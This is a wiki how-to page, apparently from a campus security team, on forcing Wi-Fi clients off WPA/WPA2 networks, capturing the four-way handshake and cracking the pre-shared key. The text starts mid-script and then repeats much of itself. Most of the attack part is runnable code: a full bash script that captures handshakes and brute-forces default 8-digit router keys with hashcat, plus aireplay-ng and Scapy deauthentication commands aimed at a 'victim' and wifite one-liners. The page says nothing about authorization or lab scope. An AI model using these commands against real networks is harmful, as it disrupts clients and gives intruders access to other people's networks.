airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airmon-ng</i>, <i>airodump-ng</i> and <i>aireplay-ng</i> don't work on mac.</div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <i>airport</i> works exclusively on mac.</div>

=== Capture Beacon ===
<syntaxhighlight lang="bash"># Scan
sudo airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72 11 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57 1 Y de WPA2 (PSK/AES/AES)
▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66 36 Y de WPA2 (PSK/AES/AES)</syntaxhighlight>

=== Capture Handshake ===
==== The Easy way ====
<syntaxhighlight lang="bash"># Sniff - Ctrl-C to stop capturing
sudo airport $INTERFACE sniff $CHANNEL</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: It saves the .cap capture file to /tmp and displays the path plus filename.</div>
<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

==== The Good way ====
<p style="text-align: justify">By using <i>airmon-ng</i> or <i>airport</i> a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with <i>tcpdump</i>.</p>

<syntaxhighlight lang="bash"># Disassociate from any network: (-z --disassociate)
sudo airport -z
# Set arbitrary channel on the card: (-c[<arg>] --channel=[<arg>])
sudo airport -c$CHANNEL

# Capture a beacon frame from the AP
sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE< -w beacon.cap
# Wait for the WPA handshake
sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i $INTERFACE -w handshake.cap

# Merge the two files
mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap</syntaxhighlight>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.</div>

=== Crack PSK ===
The .cap file obtained in the previous steps can only be cracked directly with <i>aircrack-ng</i>. But this can be done more effectively using <i>hashcat</i>.

<syntaxhighlight lang="bash"># Convert .cap to .hcapx file (Part of hashcat-utils)
cap2hccapx capture.cap capture.hccapx</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/</div>

<syntaxhighlight lang="bash"># Crack using a simple dictionary attack:
hashcat -m 2500 capture.hccapx wordlist.txt</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.</div>

== Deauthentication attack ==

<p style="text-align: justify">Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a
four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.</p>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px">
<div style="line-height:1.6;">ⓘ <b>Example</b>: Four-Way Handshake (4WHS)</div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: A four-way handshake can be analysed using Wireshark or <code>tcpdump</code>, filtering for <code>eapol</code> messages or better filtering for <code>ether proto 0x888e and ether host $BSSID</code></div>

<syntaxhighlight lang="bash"> # link-type IEEE802_11_RADIO (802.11 plus radiotap header)
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i en0 -vvv -e -A -XX</syntaxhighlight>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_1.png|4WHS (Message 1 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 8165 aa01 0000 0000 1002 7609 8004 d2a5 .e........v.....
0x0020: 0000 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 938d 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 0000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0200 8a00 ..........._....
0x0060: 1000 0000 0000 0000 01ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0: 0000 0000 0000 0000 0000 0041 e6a6 5d ...........A..]</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=530px>
image:4WH_2.png|4WHS (Message 2 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 1a76 aa01 0000 0000 1002 7609 8004 eca5 .v........v.....
0x0020: 0001 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 4355 fdb7 8801 3a01 98da c46e 00fc ..CU....:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 0000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 0075 0201 0a00 ...........u....
0x0060: 0000 0000 0000 0000 01bc 67eb 5bfb 4355 ..........g.[.CU
0x0070: f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8 ......`.a...tQ..
0x0080: 841c 7d17 dde7 0c47 3300 0000 0000 0000 ..}....G3.......
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0051 17b2 89fc 6428 .........Q....d(
0x00b0: 2564 ab92 3571 a67f af00 1630 1401 0000 %d..5q.....0....
0x00c0: 0fac 0401 0000 0fac 0401 0000 0fac 0200 ................
0x00d0: 0010 afc4 e7 .....</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_3.png|4WHS (Message 3 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: 6f80 aa01 0000 0000 1002 7609 8004 d2a5 o.........v.....
0x0020: 0013 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc ........:.@..c2.
0x0040: 98da c46e 00fc 98da c46e 00fc 1000 0000 ...n.....n......
0x0050: aaaa 0300 0000 888e 0103 0097 0213 ca00 ................
0x0060: 1000 0000 0000 0000 02ff e614 7014 d7a9 ............p...
0x0070: 6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1 nl^$..Y.S_<...Y.
0x0080: e125 8fce 7dc3 1325 a900 0000 0000 0000 .%..}..%........
0x0090: 0000 0000 0000 0000 0000 0100 0000 0000 ................
0x00a0: 0000 0000 0000 0000 00e4 ef65 1d4f f0c1 ...........e.O..
0x00b0: 62be d858 a5ed dab9 bf00 38de c04c 2c9d b..X......8..L,.
0x00c0: 9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4 ...s...'Q.......
0x00d0: 8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6 .[..s:..l..R....
0x00e0: 4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3 Jz/....)....U.s.
0x00f0: 43f9 a8a8 bc98 d2 C......</nowiki>

<gallery caption="" mode="packed-hover" style="border: 1px solid #eaecf0; background-color: white; border-radius: 3px" heights=400px>
image:4WH_4.png|4WHS (Message 4 of 4)
</gallery>

<nowiki>tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95
0x0000: 0000 3600 6f08 00c0 0100 0040 c46e 00fc ..6.o......@.n..
0x0010: cc8d aa01 0000 0000 1002 7609 8004 eca5 ..........v.....
0x0020: 0003 0010 1800 0300 0200 0000 0010 1803 ................
0x0030: 0400 0000 938d 8801 3a01 98da c46e 00fc ........:....n..
0x0040: 40d3 ae63 32dc 98da c46e 00fc 1000 0600 @..c2....n......
0x0050: aaaa 0300 0000 888e 0103 005f 0203 0a00 ..........._....
0x0060: 0000 0000 0000 0000 0200 0000 0000 0000 ................
0x0070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0: 0000 0000 0000 0000 0009 4d26 1f94 47b2 ..........M&..G.
0x00b0: 8fcb 0e44 a9b7 3cea 4500 002c f10f 7c ...D..<.E..,..|</nowiki>

</div>
</div>

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: Deauther are often mistakenly described as a jammer, even though that is not the case.</div>

=== Aircrack-ng ===
<syntaxhighlight lang="bash">aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon</syntaxhighlight>

=== Scapy ===

Use this automated [https://github.com/veerendra2/wifi-deauth-attack script] using <code>aircrack-ng</code> and <code>scapy</code>. Alternatively use <code>scapy</code> to manually execute a deauthentication attack, as shown below.

<syntaxhighlight lang="python"># Configuration
station = "ff:ff:ff:ff:ff:ff"
bssid = "00:00:00:00:00:00"
interface = "wlan0mon"

# Craft and send 802.11 frame
dot11 = Dot11(addr1=station, addr2=bssid, addr3=bssid)
packet = RadioTap()/dot11/Dot11Deauth(reason=7)
sendp(packet, inter=0.1, count=1, iface=interface, verbose=1)</syntaxhighlight>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: <code>$STA</code> may be <code>ff:ff:ff:ff:ff:ff</code>. MAC’s must be lowercase!</div>

=== D-Stike Deauther ===
<p style="text-align: justify">D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. </p>
* https://github.com/spacehuhn/esp8266_deauther

=== Other tools ===
<p style="text-align: justify">JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.</p>
* https://github.com/unixpickle/JamWiFi
* https://github.com/0x0XDev/JamWiFi

= Used Hardware =

* Notebook, Ubuntu 18.04 bionic amd64, Intel Wireless (Intel AC-7260)
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)
* DSTIKE Deauther Watch V1
* HP ZBook Fury 16 G9 Mobile Workstation, Arch Linux, Intel Wireless (Alder Lake-S PCH CNVi WiFi)

= Courses =

* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019

= References =

* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)
* https://github.com/derv82/wifite2 (Accessed 20. January 2021)

[[Category:Documentation]]

</div>

WPA/WPA2 PSK deauthentication attack

2024-12-18T17:52:04Z

RSchuller: /* Reset network configuration */

<div style="max-width: 970px">

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto;">
<div style="font-weight: normal;line-height:1.6;">ⓘ Table of Contents</div>
<div class="mw-collapsible-content">
__TOC__
</div>
</div>

= Summary =

<p style="text-align: justify">How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.</p>

= TL;DR =

<p style="text-align: justify">For those using Kali Linux (>2020.1), you may stop here since most major tools used for WiFi cracking are already installed. Moreover, <code>[https://github.com/derv82/wifite2 wifite]</code> is designed to use all known methods for retrieving the password of a wireless access point. Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! Run wifite, select your targets, and Wifite will automatically start trying to capture or crack the password.</p>

<syntaxhighlight lang="bash"># Generic: One command to rule them all
sudo wifite

# Specific: WPA/2 Offline Brute-Force Attack via 4-Way Handshake capture
sudo wifite --wpa --no-wps --no-pmkid</syntaxhighlight>

= Requirements =
== Mandatory ==
=== GNU/Linux ===
- Install aircrack-ng suite:
* Debian based distributions: <code>sudo apt install aircrack-ng</code>
* Arch based distributions: <code>sudo pacman -S aicrack-ng</code>

=== macOS ===
* Optional: Install <i>aircrack-ng</i> suite: <code>brew install aircrack-ng</code>
* Install <i>tcpdump</i>: <code>brew install tcpdump</code>
* Install <i>wireshark</i> to use <i>mergecap</i>: <code>brew install wireshark</code>
* Enable 'hidden' airport feature: <code>sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport</code>

== Optional ==
=== Hashcat ===
* Clone GIT repository: <code>git clone https://github.com/hashcat/hashcat.git</code>
* Build: <code>cd ./hashcat && make && make install</code>
* Link: <code>sudo ln -s ./hashcat /usr/local/bin/hashcat</code>

=== Scapy ===
* Install: <code>pip install scapy</code>

= Background =
== Problem==
<p style="text-align: justify">Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:</p>
# Sniff a beacon management frame containing all information about the network
# Sniff a four-way hanshake containing dynamic payload encryption keys
# Crack the PSK offline, using data dumps acquired in the previous steps
<p style="height: 2px"></p>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Intercepting a four-way handshake requires at least one authenticated device on the target network. </div>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.</div>

==Solution==
<p style="text-align: justify">The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.</p>

= Procedure =

== With aircrack-ng (on GNU/Linux) ==

<table class="wikitable" style="background-color: white; margin-left: 30px;">
<tr style="background-color: grey; font-weight: bold; border-color: black">
<td style="border-color: black">Application</td>
<td style="border-color: black">Description</td>
</tr>
<tr>
<td style="background-color: darkgrey; border-color: black">aircrack-ng</td>
<td style="background-color: white;border-color: black">802.11 WEP and WPA/WPA2-PSK key cracking program.</td>
</tr>
<tr style="line-height: 15px">
<td style="background-color: white; border: none"></td>
<td style="background-color: white; border: none"></td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airbase-ng</td>
<td style="background-color: white;border-color: black">Aimed at attacking clients as opposed to the AP itself.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecap-ng</td>
<td style="background-color: white;border-color: black">Decrypt WEP/WPA/WPA2 capture files.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdecloak-ng</td>
<td style="background-color: white;border-color: black">Remove WEP CloakingTM from a packet capture file.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airdrop-ng</td>
<td style="background-color: white;border-color: black">A rule based wireless deauthication tool.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">aireplay-ng</td>
<td style="background-color: white;border-color: black">Inject and replay wireless frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airgraph-ng</td>
<td style="background-color: white;border-color: black">Graph wireless networks.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airmon-ng</td>
<td style="background-color: white;border-color: black">Enable and disable monitor mode on wireless interfaces.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airodump-ng</td>
<td style="background-color: white;border-color: black">Capture raw 802.11 frames.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airolib-ng</td>
<td style="background-color: white;border-color: black">Precompute WPA/WPA2 passphrases.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airserv-ng</td>
<td style="background-color: white;border-color: black">Wireless card TCP/IP server to use wit multiple applications.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">airtun-ng</td>
<td style="background-color: white;border-color: black">Virtual tunnel interface creator.</td>
</tr>
<tr>
<td style="background-color: lightgrey; border-color: black">packetforge-ng</td>
<td style="background-color: white;border-color: black">Create encrypted packets that can be used for injection.</td>
</tr>
</table>

=== Put your interface in monitor mode ===

* Use airmon-ng to put interface in monitor mode. You can see, that the interface is called wlan0. On different devices or system configurations wlan0 could be a different device name.

sudo airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 83)

* First we need to set interface in monitor mode `iw wlan0 del` and execute the command :

sudo airmon-ng
Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 7260 (rev 83)

* Kill all processes which use physical device. Info: If you have a different connection via Ethernet and you are using NetworkManager your Ethernet connection still works.

sudo airmon-ng check kill
Killing these processes:
PID Name
895 wpa_supplicant

* Start in monitor mode

sudo airmon-ng start wlan0mon 9

Alternatively create a monitoring device by using:

sudo airmon-ng start wlan0

If you use the commands `ip a` or the, on GNU/Linux systems old, `ifconfig` command you can see that airmon-ng has generated a new device called "wlan0mon" or on a different setup <YOUR DEVICE NAME>mon. This is the actual monitoring device.

=== Capture Beacon ===

* using wireshark or airodump-ng

sudo airodump-ng wlan0mon

* You will need:
** BSSID (MAC address of access point): <bssid>
** Access point channel: <channel>
** MAC address of a victim, wireless client using WPA2

=== Capture handshake ===

* Get handshake or connected station

sudo airodump-ng -c <channel> --bssid <bssid> -w psk wlan0mon

<div style="background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px"><b>Warning</b>: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!</div>

=== Crack with aircrack-ng ===

* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password

sudo aircrack-ng -w <passwordlist path> -b <bssd> psk*.cap

=== Reset network configuration ===
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: Do not forget to turn off monitor mode and restart network manager</div>

* Stop monitor mode

sudo airmon-ng stop wlan0mon

* Restart network manager for internet access

sudo service network-manager restart

Alternatively on systemd:

sudo systemctl restart network-manager

== Without aircrack-ng (on macOS) ==

In the following, an alternative is presented, which also works under macOS. You can either use the script below or follow the manual steps. The instructions for using <nowiki>tcpdump</nowiki> instead of <nowiki>airodump-ng</nowiki>, as well as the use of <nowiki>hashcat</nowiki> (or John the ripper) instead of <nowiki>aircrack-ng</nowiki> can also be ported to Linux and has advantages over the previously listed version. Only the use of <nowiki>airport</nowiki> works exclusively on macOS.

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ <b>crack_WPA2_PSK.sh</b></div>
<div class="mw-collapsible-content">

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; margin-top: 5px; text-align: justify"><b>Warning</b>: In this script, <nowiki>hashcat</nowiki> is optimized to crack default TP-Link / HUAWEI PSKs in the language {0-9}[8] in maximum 15min on a decent CPU. <br>You may need to change the <nowiki>hashcat</nowiki> command at the end of the script to fit your usecase.</div>
<syntaxhighlight lang="bash">#!/bin/bash
if [[ $UID != 0 ]]; then
echo "Please run this script with sudo:"
echo "sudo $0 $*"
exit 1
fi

hr() {
local start=$'\e(0' end=$'\e(B' line='qqqqqqqqqqqqqqqq'
local cols=${COLUMNS:-$(tput cols)}
while ((${#line} < cols)); do line+="$line"; done
printf '%s%s%s\n' "$start" "${line:0:cols}" "$end"
}

banner() {
hr; printf " \033[0;31m${1}\033[0m\n"; hr
}

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Perform a wireless broadcast scan"
echo ' # airport -s'
airport -s

banner "Enter dynamic configuration"
echo -n " CHANNEL="
read CHANNEL
echo -n " BSSID="
read BSSID
echo -n " INTERFACE="
read INTERFACE

banner "Disassociate from any network"
echo ' # airport -z'
airport -z

banner "Set arbitrary channel on the card"
echo ' # airport -c$CHANNEL'
airport -c$CHANNEL
echo ' # airport -c'
airport -c

banner "Current network configuration"
echo ' # airport -I'
airport -I

banner "Capture beacon frame"
echo ' # tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap'
tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i $INTERFACE -w /tmp/beacon.cap

banner "Capture four-way handshake"
echo ' # tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap'
tcpdump "ether proto 0x888e and ether host $BSSID" -I -c 4 -i $INTERFACE -w /tmp/handshake.cap

# banner "Merge beacon frame and four-way handshake"
# Note: mergecap is part of wireshark
echo ' # mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap'
mergecap -a -F pcap -w /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap

banner "Convert .cap file to .hccapx format to be used with hashcat"
# Note: cap2hccapx is part of hashcat-utils
echo ' # cap2hccapx /tmp/capture.cap /tmp/capture.hccapx'
cap2hccapx /tmp/capture.cap /tmp/capture.hccapx
banner "Crack WPA-EAPOL-PBKDF2 via hashcat (TP-Link/HUAWEI optimized)"
# 00000000 - 99999999
echo ' # sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d'
sudo nice -n -20 hashcat -m 2500 /tmp/capture.hccapx -a 3 ?d?d?d?d?d?d?d?d

banner "Clean up"
echo ' # rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx'
rm /tmp/capture.cap /tmp/beacon.cap /tmp/handshake.cap /tmp/capture.hccapx</syntaxhighlight>
</div>
</div>

<syntaxhighlight lang="bash">airport -h
Supported arguments:
-c[<arg>] --channel=[<arg>] Set arbitrary channel on the card
-z --disassociate Disassociate from any network
-I --getinfo Print current wireless status, e.g. signal info, BSSID, port type etc.
-s[<arg>] --scan=[<arg>] Perform a wireless broadcast scan.
Will perform a directed scan if the optional <arg> is provided
-x --xml Print info as XML
-P --psk Create PSK from specified pass phrase and SSID.
The following additional arguments must be specified with this command:
--password=<arg> Specify a WPA password
--ssid=<arg> Specify SSID when creating a PSK
-h --help Show this help</syntaxhighlight>

